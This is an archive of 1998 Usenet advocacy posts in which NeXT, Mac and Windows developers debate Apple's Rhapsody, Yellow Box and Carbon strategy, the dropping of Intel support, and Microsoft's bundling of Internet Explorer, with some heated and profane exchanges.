From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Message-ID: <joe.ragosta-1605980807380001@elk81.dol.net>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us> <355B3744.18038EC5@milestonerdl.com> <joe.ragosta-1505981359080001@wil95.dol.net> <355CB499.EB48D472@milestonerdl.com> <*johnnyc*-1505982333450001@jchristie.halifaxcable.dal.ca>
In article <*johnnyc*-1505982333450001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> In article <355CB499.EB48D472@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > Joe Ragosta wrote:
> >
> > > Baloney. Apple has consistently stated that YB apps will run on Win95/NT.
> > > It's in most of their discussions on YB.
> >
> > And 98? And NT 5.X? That's Micro$oft's future. Why hasn't Apple
> announced planned
> > support for them? NT4/95 will go away...does Windows YB go away then
> too, with the
> > only supported YB on PPC?
>
> Are you saying that NT5 and 98 are going to break YB on NT4 and '95?
> I'm surpised they lack the backward compatibility (given the minimal
> upgrade of '98).
Exactly. There's no reason that Win98 or NT 5.0 is going to break YB.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
References: <6jgsjt$93u$1@crib.bevc.blacksburg.va.us> <1998051512561800.IAA17653@ladder01.news.aol.com> <6jhne8$a2b$1@crib.bevc.blacksburg.va.us> <355c810a.0@206.25.228.5> <6jif78$bcp$1@crib.bevc.blacksburg.va.us>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355d8c02.0@206.25.228.5>
Date: 16 May 98 12:52:18 GMT
nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
> In article <355c810a.0@206.25.228.5>, jkheit@xtdl.com wrote:
> > Whatever they replace it with, god help us, should be a
> > ****UNIFIED IMAGING/PRINTING MODEL****.
> And that's exactly what they're giving us. Have you seen Scott
> Anguish's Stepwise report on graphics?
Yea, only a bit after posting the above though. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 16 May 1998 13:20:28 GMT
Organization: N.eXTers W.ith A.ttidude
Message-ID: <6jk3qs$a4a@ragnarok.en.uunet.de>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
akira@home.com wrote:
> Hi all,
>
> Well they dumped DPS, but that isn't the leas of it. In the Yellow Box
> feedback session, I got down to some frank questions and got some clear cut
> answers, FINALLY!
It's about fucking time. I'm just afraid that those 'clear cut answers'
are somehow not the real deal, and not so clear cut at all.
> If you don't already know, MacOS X *IS* the next version of Rhapsody on PPC.
Cool with me.
> Yellow Box on Windows 95/NT will be around, although I'm sure they will
> rename it.
Whatever, as long as it works.
> And most importantly...
>
> Rhapsody 1.0 on Intel is the *LAST* version of the Yellow Box/Mach combo for
> Intel. IE: Rhapsody on Intel can be considered the end of life for that
> product.
What a surprise! <not>
> As the folks from Apple put it, they are putting all their effort into what
> 90% of the folks want. They stated that 95/NT and MacOS X on PPC are
I'm pretty sure I can make a poll with the result that 90% of the
participants are from Mars. Does Apple management really expect any
meaningful results when they only go looking in their own little
sand box?
> basically their cross-platform developement system. I believe there was
> also mention that they aren't in the OS business. There was a lot of
Apple is not in the OS business? Right. Give me one of those G3s, but
please no OS - since you're not in the OS business, right? HELLO?
Has anybody of these 'managers' ever tried to get a PC without OS?
> complaining about this after the session with Ernest Prabhakar, who was a
> lot more understanding than Jordan Dea-Mattson. Numerous people expressed
> concerns over this strategy, mainly from the standpoint that lots of us have
> Intel systems and can not either afford to replace them, or are unable to do
> so because of management constraints, and need to have a real OS. That
Exactly. But it gets worse, and more complicated, so why am I not
surprised the wienerheads in Apple management don't dig this?
The story goes like this: there's an AWFUL lot of people out there who
are tired of Windows. The 'new' Apple, with a cross-CPU (not platform)
OS strategy was a welcome change in history from force-feeding hardware
onto people. Before Rhapsody, I *refused* to buy a PPC since I consider
MacOS to be unusable for my work. Last week, I was thinking about getting
one of those shiny new G3s, because it was *my* choice. NOT ANYMORE.
If the 'new' Apple wants to bait me into thinking that Rhapsody/x86
is alive and well, and will be continued, just to pull the plug later
(they don't sell any hardware by selling Rhap/x86, so the price of the
OS will be higher, which results in slower adoption, which results in
low ROI, which results in Apple pulling the plug) they have one hell
of some explaining to do.
Unanswered questions so far:
- Rhapsody/x86 will be developed until CR1, with DPS remaining
as the imaging/rendering layer and display server. If MacOS X is supposed
to have a new graphics layer (according to Mike) with the other APIs
just sitting on top (which is cool), do they *seriously* expect me to
believe that this layer will be available on later Rhapsody/x86 releases,
especially if it's been developed to maximize PPC performance?
They already have two YB graphics layer implementations to maintain
(Rhapsody/PPC and YB/Windows on top of GDI), the third one (Rhap/x86)
will most likely be a victim of the ROI bean counters.
- the latest rumor is that McOS X will have a *Carbon* based Finder
(the horror!). Since Carbon is not supposed to run on Rhapsody/x86
'server', and Apple will hardly maintain two Finder/UI/Workspace code
bases (especially not in this weird nonstandard YB thing), the
Rhapsody/x86 server will be controlled...how?
(I can already see it..Rhapsody Server, Intel edition - PPC and 3rd
party tool required for GUI. Should sell like hot cakes. NOT.)
.not to mention the fact that this dumbs the Workspace down to an
unacceptably stupid level, but that's another problem..
> solution is NOT NT. Ernest did say that Apple does understand that a lot of
> us do want this. While it would take a non-insignificant amount of effort
> to keep delivering an Intel version, with the work that they have done on
> Mach and the IOKit for drivers, the portability of the kernel to Intel is
> possible, and they will keeping an open mind to doing it. It all depends
That's great, but 'market surveys have shown that the largest part of our
Mac customer base does not have an open mind', and gee, there goes the
good will of the engineering team. I can already see IBM pulling the plug
on the PPC (you say unlikely? ha ha. Think different.)
> mainly on the market. I imagine that if Apple sees Rhapsody on Intel market
> growing significantly from the time it is released until MacOS X comes,
> especially if it grows faster than Rhapsody/PPC or NT, then who knows. It
> all basically comes down to us, and the market we make.
What?? Are *we* supposed to do Apple's marketing? HOW THE FUCK can I
look a client straight in the face and tell him that Rhapsody/x86 is
a great idea, just to have the carpet pulled from my feet 6 months
later? People are willing to give MacOS X / Rhapsody / whateveritscalled
a try, but ONLY if they're not FORCED to. Think dual-boot.
> More on Jordan. I can understand that he was probably rightfully tired of
> everyone asking him about YB and Rhapsody. Even so, I felt he was becoming
No, I can't. That's his job.
> very beligerent towards speakers who were asking 'message' related
> questions. By the end, I was felt very much like they were saying, "Life's
> tough, we don't care, so shut-up and sit down." We wouldn't keep asking
> about the 'message' if the message from Apple had been delivered
> unequivocally and press released. Thank goodness folks like Ernest were
> there to be more understanding of our needs.
Absolutely. Unfortunately, I'm afraid Ernie alone cannot swim against
the tidal wave of boneheadedness that seems to be on the rise at Apple -
again. I'm worried about Apple's inability to clearly articulate a
'message'. If they can't honestly and clearly talk to developers at a
dev conference, I don't really want to know how they approach their
customers.
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sat, 16 May 1998 10:55:11 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1605981055110001@jchristie.halifaxcable.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <35579c6d.0@news.depaul.edu> <ericb-1505981752260001@132.236.171.104> <joe.ragosta-1505981917430001@elk90.dol.net> <*johnnyc*-1505982338410001@jchristie.halifaxcable.dal.ca> <355D4B6A.37DF9EF7@best.com>
In article <355D4B6A.37DF9EF7@best.com>, bazaar@best.com wrote:
> John Christie wrote:
>
> > YB is still the object API and Carbon is a new implementation of the
> > substructure of that (which was basically hidden before).
>
> This part is not exactly accurate. YB will sit directly on top of the new
> imaging model as will Carbon. They are two separate API's which, at
first, have
> nothing in common above the graphics engine. Someone asked at the Thursday
> session that covered the graphics engine if YB and Carbon shared widgets
> (buttons, sliders, etc) and the answer was no, not yet.
Sorry, I should have said Carbon was a new "interface" to the
substracture of that. And, they will share many common services at the
lowest level. All of them in fact. Networking, file system, devices,
Mach Kernal. You can either program all of this new stuff through YB or
Carbon.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 1998 13:57:59 GMT
Organization: N.eXTers W.ith A.ttidude
Message-ID: <6jk617$mlb$1@goof.de.uu.net>
References: <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <B1824879-5DEAC@207.217.155.190>
<6jj2lp$bpr$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1605980710220001@elk81.dol.net>
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Joe Ragosta wrote:
> In article <6jj2lp$bpr$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > In article <B1824879-5DEAC@207.217.155.190>, "Brad Hutchings"
> <brad@hutchings-software.com> wrote:
> > > why not deploy to "Carbon" using PowerPlant?
> >
> > Because Yellow is better?
> >
> > > That is a sure bet.
> >
> > Why do you think there's less of a chance of them shipping Yellow
> > than Carbon?
>
> Anyone have an update on GNUStep? Will it be able to run YB apps? If so,
> that should eliminate the concerns about Apple dropping YB.
Joe,
as much as your vocal participation is appreciated -
could you please stop talking about things you really don't understand?
Please?
If Apple drops YB (and it sure as hell looks like YB has been put
on the back burner because 'the Mac community was not ready for it')
GNUStep won't amount to a piece of midget shit.
completely pissed about the future
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 16 May 1998 08:19:42 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6jk64c$vo9$1@strato.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu>
Robert Cassidy wrote in message ...
>In article <6j9ac3$tnp$1@ligarius.ultra.net>, "John Saunders"
><jws@jws.ultranet.com> wrote:
>
>> Bob,
>>
>> What in the world are you talking about?
>>
>> Try to get specific. You say:
>>
>> >Again, because MS says that I cannot disassociate IE with some of the
>> >functions of the system
>>
>> Which functions? Are there so many functions that you cannot either
>> enumerate the functions or provide a pointer to a list of these
functions?
>> If you don't give any proof, why shouldn't we believe you're just talking
>> out of your hat?
>
>IE is a DLL as well as an app. As such if you want your app to make http
>connections or to display HTML, then you can use IE as a library to do
>that. But I don't think that Navigator could slip in to fill that role.
>
Bob,
Thanks for responding, and sorry for replying so late.
Microsoft documents the IWebBrowser (and IWebBrowser2?) interfaces. I
believe that if Netscape wanted to be useable as the "web browser library",
then all they'd have to do is implement this interface. By the way, I found
documentation for this on my October 1997 "MSDN Visual Studio Edition" CD
under "ActiveX SDK\Web Browsing Objects".
>> >That means that an app that I use
>> >that wants an internet gateway cannot use Netscape as that gateway.
>>
>> Bob, the words "internet gateway" are pretty generic. I have no idea what
>> kind of gateway you're talking about. Could you please clarify that? And
>> when you said "Netscape", did you mean "Netscape the company", or
"Netscape
>> Navigator/Communicator/whatever"?
>
>I mean Navigator. Looking even at my copy of Quicken for the Mac, it uses
>IE as a library to handle the on-line services. That's fine. That's
>Intuit's decision to make. But does MS give Netscape or anyone else the
>same opportunity to fill that role should I wish to use it.
>
Ok, I now see that you mean "internet gateway" in the sense of "the software
that stands between the application and the internet". As such, my response
above indicates that Netscape could be such a gateway if it wanted.
>> You didn't get my question, and I think I'm beginning to see why.
>>
>> I apologize for not realizing it before, but you seem to be a Mac person.
So
>> when I said, "HTML Help" in my post, you didn't know what I was talking
>> about?
>>
>> Microsoft now has the technology to allow help files to be written using
>> HTML. I've seen that called "HTML Help". I suspect this feature is
available
>> outside of Redmond as well. In order to display the help files, some sort
of
>> HTML renderer is necessary. My question was, "If you could use Netscape
as
>> your browser, would you care which piece of code rendered the HTML in
HTML
>> help?"
>
>Yes. If I wrote my help to use JavaScript or if I wrote my app to use tags
>that IE doesn't support or doesn't support well. Or if I use an app to
>create that HTML that handles Navigatorisms instead of IEisms. Basically,
>I would like to take advantage of any innovation that Netscape should
>develop in my help system.
>
I see I shouldn't have used the term "would you care", but see below:
>> I'll add another question: "If programs you wrote could use Netscape code
to
>> render HTML help, would you care if programs someone else wrote used IE
code
>> to render HTML help?"
>
>No. That's their decision to make. Personally, I'd like to be able to
>substitute for possible performance/reliability reasons and see no reasons
>why it should be a problem to offer it. But if Intuit wants to use IE to
>display their help, then I can't argue too much about that.
>
This is what I was getting at. If I understand you, you don't mind IE being
on the system, and you don't mind if others want to use it, you just want to
make sure that you can use Netscape when you want to. That's great, but I
suggest you need to talk to Netscape to find out why, for instance, they
haven't written Netscape Navigator as an ActiveX control, so that you can
use it to do the web browsing part of your application, and why they haven't
written a library or control that allows you to write Help files in HTML so
that you can use JavaScript in your help files.
Even if Microsoft didn't document the interfaces that _they_ use, this would
not stop Netscape from creating equivalent (or better) interfaces so that
_you_ can do with Netscape what others can do with IE.
>> >Why should I *ever* want to be denied the ability to choose what is best
>> >for my users? There is almost no point in questioning the desire for
>> >choice, as there are always going to be cases that cannot be predicted.
>>
>> I have never said you should be denied the ability to choose. I have
never
>> seen any reason at all to believe that Microsoft's actions would deny you
>> the ability to choose. I understand there are even OEMs which ship
Windows
>> 95 with both browsers on the desktop. They let the user choose. What's
the
>> problem with that?
>
>I'm not talking about 95. I'm talking about 98. Does that option still
>exist? Suppose I'm developing an online auto purchasing service and would
>like to strike a deal with Netscape so that a 'Buy a car online' button in
>Navigator would point to my site. Is there any possibility that Netscape
>could strike a deal with Dell or Compaq or whoever to get Netscape as the
>active desktop instead of IE? The presence of IE as the only active
>desktop means that I am helpless to compete with MS for user presence
>under Windows 98.
>
This is two separate issues. One is whether an OEM can include Netscape with
Windows 98 on the systems they ship. I don't know, but since this was a
legal issue and not a technical issue, I don't see why it would have changed
between Windows 95 and Windows 98.
The other is whether Netscape is allowed to be the Active Desktop. I don't
know, but certainly many of the Shell APIs are documented by Microsoft. On
my CD, they're in Platform SDK\User Interface Services\Shell. Surely this
kind of documentation is enough for Netscape to write a replacement shell
that would use Netscape for the "Active" part of "Active desktop". As to
whether Microsoft would allow an OEM to ship a system with the Netscape
shell instead of the Windows shell, I don't know.
>-Bob Cassidy
John Saunders
jws@jws.ultranet.com
From: "Chris Van Buskirk" <cvbuskirk@home.com>
Newsgroups: comp.sys.next.advocacy
Subject: By the way, Next is dead also....
Message-ID: <Y9h71.255$RA.867020@news.rdc1.nj.home.com>
Date: Sat, 16 May 1998 14:13:12 GMT
NNTP-Posting-Date: Sat, 16 May 1998 07:13:12 PDT
Organization: @Home Network
Well, I have nosing around this group for awhile, and am very happy
that apple has extended apple developers the carbon APIs. Finally,
the next generation MacOs is back in the hands of apple developers.
Frankly, I really don't want my future on the Macintosh developed by
those who do nothing but bitch and whine like children.
I hate the UI!
Everything Yellow!
I can't live without DPS!
No Intel!
Adobe Sucks!
I think you people would have real compelling arguments, if you just
developed something! The only applications I hear, are those that
were already developed for Next before the buyout.
Not one major announcement of a new product for yellow box! This
is why the carbon APIs are here, and should be always on top of
apple's API development strategy. Thank God, back to mac.advocacy.
I know you won't miss me.
Chris Van Buskirk
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
Date: 16 May 1998 14:16:26 GMT
Organization: P & L Systems
Message-ID: <6jk73q$1cc$49@ironhorse.plsys.co.uk>
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net>
<35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu>
<355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu>
<see-below-1405980102500001@209.24.241.190> <355af407.0@206.25.228.5>
<rmcassid-1405981211310001@dante.eng.uci.edu> <nagleEt1DyG.5qM@netcom.com>
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Cc: nagle@netcom.com
In <nagleEt1DyG.5qM@netcom.com> John Nagle wrote:
> Actually, there's a good reason for not having a command-line
> interface at all. It's too tempting to require use of the command
> line interface for "seldom-used functions".
>
Why?
With Interface/Project Builder, which do you think is easier: to write a
commandline app with whatever options someone might want to include, or to
create a GUI?
Best wishes,
mmalc.
From: eviltofu@rocketmail.com (Jerome Chan)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon built on top of YellowBox?
Date: Sat, 16 May 1998 10:28:29 -0400
Organization: TofuSoft
Message-ID: <eviltofu-1605981028480001@viking202-49.dhcp.csuohio.edu>
References: <35594B50.B0DF00FC@iphysiol.unil.ch> <6jch0m$1cc$18@ironhorse.plsys.co.uk>
In article <6jch0m$1cc$18@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> In <35594B50.B0DF00FC@iphysiol.unil.ch> Sean Hill wrote:
> > Carbon built on top of YellowBox?
> >
> No: Carbon runs alongside YellowBox.
>
> > Is it possible?:
> > Carbon API will actually be able to use parts of the YellowBox to play
> > the role of the old MacOS API.
> >
> Yes: AAA+'s Joy for Rhapsody can already mix OpenStep and Carbon calls in the
> same program.
>
> Best wishes,
>
> mmalc.
So Carbon runs on TOP of the MACH kernal? What's to stop it from being
ported to Intel?
Message-ID: <355DA3F2.96E1612A@unet.univie.ac.at>
Date: Sat, 16 May 1998 16:34:26 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon built on top of YellowBox?
References: <35594B50.B0DF00FC@iphysiol.unil.ch> <6jch0m$1cc$18@ironhorse.plsys.co.uk> <eviltofu-1605981028480001@viking202-49.dhcp.csuohio.edu>
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Jerome Chan wrote:
> In article <6jch0m$1cc$18@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> > In <35594B50.B0DF00FC@iphysiol.unil.ch> Sean Hill wrote:
> > > Carbon built on top of YellowBox?
> > >
> > No: Carbon runs alongside YellowBox.
> >
> > > Is it possible?:
> > > Carbon API will actually be able to use parts of the YellowBox to play
> > > the role of the old MacOS API.
> > >
> > Yes: AAA+'s Joy for Rhapsody can already mix OpenStep and Carbon calls in the
> > same program.
> >
> > Best wishes,
> >
> > mmalc.
>
> So Carbon runs on TOP of the MACH kernal? What's to stop it from being
> ported to Intel?
Apple's resources,maybe.We really shouldn't ask for everything at once.
Christian Benesch
From: hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 1998 14:51:33 GMT
Organization: N.eXTers W.ith A.ttidude
Message-ID: <6jk95l$b0m@ragnarok.en.uunet.de>
References: <355B365F.929E049D@spamtoNull.com> <B1809773-7F1C1@207.217.155.114>
<355C9631.C99DEE0E@spamtoNull.com> <ericb-1505981805550001@132.236.171.104>
<see-below-1505982202520001@209.24.241.97>
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Matthew Vaughan wrote:
> In article <ericb-1505981805550001@132.236.171.104>, ericb@pobox.com (Eric
> Bennett) wrote:
> > OS X still lets you step boldly into the future. But it doesn't force you
> > to step boldly into the future. What I find upsetting is that Apple
> > apparently isn't going to encourage you to go into the future either.
>
> Right now. I have a feeling that will change by the time OS X comes out.
I don't.
> Apple wants to take this one step at a time. It doesn't want to make Mac
> developers uncomfortable with the need to switch to Yellow Box. But once
> they've moved to Carbon and those products are shipping, I think there
> will be a much bigger push for Yellow Box.
Software development history shows that programmers are *far* too lazy
to incrementally adopt new paradigms (not APIs!). You cannot mix a
procedural API and framework based programming. Trying to do so will
yield the worst of both worlds. Since 'crap does not survive in the
Mac world' (which raises the question why Apple management and the
MacOS itself have survived for so long) we'll be left with the lowest
common denominator. No, wait - the Mac will be left with the lowest
common denominator. The rest of the world will have moved on, as usual.
I'm used to moving. Apple and the Mac community apparently are not.
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: By the way, Next is dead also....
Date: 16 May 1998 14:43:30 GMT
Organization: N.eXTers W.ith A.ttidude
Message-ID: <6jk8mi$b0m@ragnarok.en.uunet.de>
References: <Y9h71.255$RA.867020@news.rdc1.nj.home.com>
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"Chris Van Buskirk" wrote:
> Well, I have nosing around this group for awhile, and am very happy
> that apple has extended apple developers the carbon APIs. Finally,
So are many exNeXTies. That's the good news.
> the next generation MacOs is back in the hands of apple developers.
That's the bad news.
> Frankly, I really don't want my future on the Macintosh developed by
> those who do nothing but bitch and whine like children.
Neither do we. Refer to the part about 'bad news' above.
> I hate the UI!
> Everything Yellow!
> I can't live without DPS!
> No Intel!
> Adobe Sucks!
In a nutshell, yes, although the DPS part is debatable.
> I think you people would have real compelling arguments, if you just
> developed something! The only applications I hear, are those that
> were already developed for Next before the buyout.
Please do not consider yourself to be the epicenter of the software
world. Just because you don't see something doesn't mean it doesn't
exist. YB is used in places where the traditional Mac doesn't even
need to apply.
> Not one major announcement of a new product for yellow box! This
Thanks to the good folk at Adobe and Micromind! Not to mention the
countless people inside Apple who actively tried to hinder or badmouth
YB/Rhapsody development after the NeXT aquisition.
Just where would Apple be without these fine individuals today?
> is why the carbon APIs are here, and should be always on top of
> apple's API development strategy. Thank God, back to mac.advocacy.
> I know you won't miss me.
That's for sure. *plonk*
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Anyone remember a certain NeXT video tape?
Date: 16 May 1998 14:35:20 GMT
Organization: P & L Systems
Message-ID: <6jk878$1cc$50@ironhorse.plsys.co.uk>
References: <6jjnrv$n53$8@news.idiom.com>
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Cc: jcr.remove@this.phrase.idiom.com
In <6jjnrv$n53$8@news.idiom.com> John C. Randolph wrote:
> I remember a video I saw back in '89 or so, in which two programmers were
> given the same task to do, one using NeXTStep and the other using Sun's
> developer tools. The Sun guy was more experienced, etc.
>
I think it was "NeXT vs. Sun -- a world of difference" circa 1991/2.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 16 May 1998 14:43:11 GMT
Organization: P & L Systems
Message-ID: <6jk8lv$1cc$51@ironhorse.plsys.co.uk>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
<6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com>
<6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104>
<355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com>
<355C787A.2B058D89@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <355C787A.2B058D89@milestonerdl.com> M Rassbach wrote:
> Apple comming out with a press release stating the plan to support NT 5.x
would
> put an end to it.
>
Actions speak louder than words:
In <1d93da2.1ec6ffu1jjlccxN@carina47.wco.com> Mike Paquette wrote:
>
> Ali Ozer mentioned in his Yellow Box session on Tuesday that Yellow Box
> for Windows works on Windows 98 Release Candidates and the Windows NT
> 5.0 beta.
>
Given the current "status" of NT 5.0 that tells me as much as I need to know.
Can we get on with something interesting now?
mmalc.
From: hhoff@ragnarok.en.REMOVETHIS.uunet.de (Holger Hoffstaette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 16 May 1998 14:35:25 GMT
Organization: N.eXTers W.ith A.ttidude
Message-ID: <6jk87d$b0m@ragnarok.en.uunet.de>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
<6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com>
<6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com>
<6jijrm$rtj$1@news.seicom.net> <6jjs1i$d79$1@sun27.hrz.tu-darmstadt.de>
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Christian Neuss wrote:
> frank@this.NO_SPAM.net (Frank M. Siegert) wrote:
> >Most likely you will have Yap.app back as it is already running here without
> >DPS (BeYapTwo.app - currently in alpha testing - uses my own stuff and does
> >not rely on DPS anymore). And for an EPS->PDF import filter - a port of the
> >pstill core should be easy to do.
>
> Fran-ky, Fran-ky, Fran-ky...
>
> Alles wird gut. (H. Hoffstaette)
Actually, that's (TM) Franky, too. :-)
Although I'm pretty convinced that - at least as far as the future of
Rhapsody and MacOS X goes - this time, not everything will be well.
Far from it.
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: Colin Day <cday1@ix.netcom.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
Subject: Re: Pussy Puddles vs. Micro$loth
Date: Mon, 11 May 1998 13:24:53 -0400
Organization: Netcom
Message-ID: <35573465.45B2@ix.netcom.com>
References: <6j65u1$c04$1@news.orbitworld.net>
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Pussy Puddles wrote:
>
> 1.) Windoze '98 should be held up indefinitely by the courts of
> every civilised land until Micro$loth is split into 3 or 4 parts by
> the Justice Department (with Bill Gates being ordered to divest
> all financial interests in the new corporations).
>
> 2.) We the people should find out which large corporations
> have succumbed to standardising on Micro$loth products and
> boycott THEM ALL. It's not as hard as you might think. There
> are tens of thousands of information specialists in these
> corporations willing to spill the beans about the way Micro$loth
> controls the information infrastructure of their organisations -- and
> they are mad as hell about it. Some post right here on USENET.
>
> 3.) An organisation espousing alternatives such as MacOS,
> UNIX, LINUX, etc. needs to be setup to educate both large and
> especially small businesses of the dangers of Micro$loth, and
> show them how superior the alternatives are.
>
> ,Polly
It is one thing to boycott firms for their undue support of Microsoft,
but would we be well-served by the government's antitrust prosecution?
I have no love for the Redmond Raiders, but I do have qualms about using
such means to achieve their destruction.
From: "Benjamin Smith" <benjs@ix.netcom.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 98 18:38:50 -0400
Organization: Netcom
Message-ID: <B17F993F-FD6DC@209.109.229.209>
References: <andyba-ya02408000R1205981058390001@news>
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nntp://nntp.ix.netcom.com/comp.sys.next.advocacy
On Tue, May 12, 1998 1:58 PM, Andy Bates <mailto:andyba@corp.webtv.net>
wrote:
>
>Yes, it's been delayed about three months. However, the delayed version
>will have more features. The June release was supposed to be to customers,
>with no Blue Box. Now, the September release will be for customers, WITH a
>Blue Box (instead of January '99). So the customer release is three months
>late, but the Blue Box is three months early. Looks like a wash to me.
I don't think that is right, Andy. I thought that the June release, the
former "Unified" release, was due around Summer with a full Blue Box.
Ben S.
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <1998051615550200.LAA20930@ladder01.news.aol.com>
Date: 16 May 1998 15:55:02 GMT
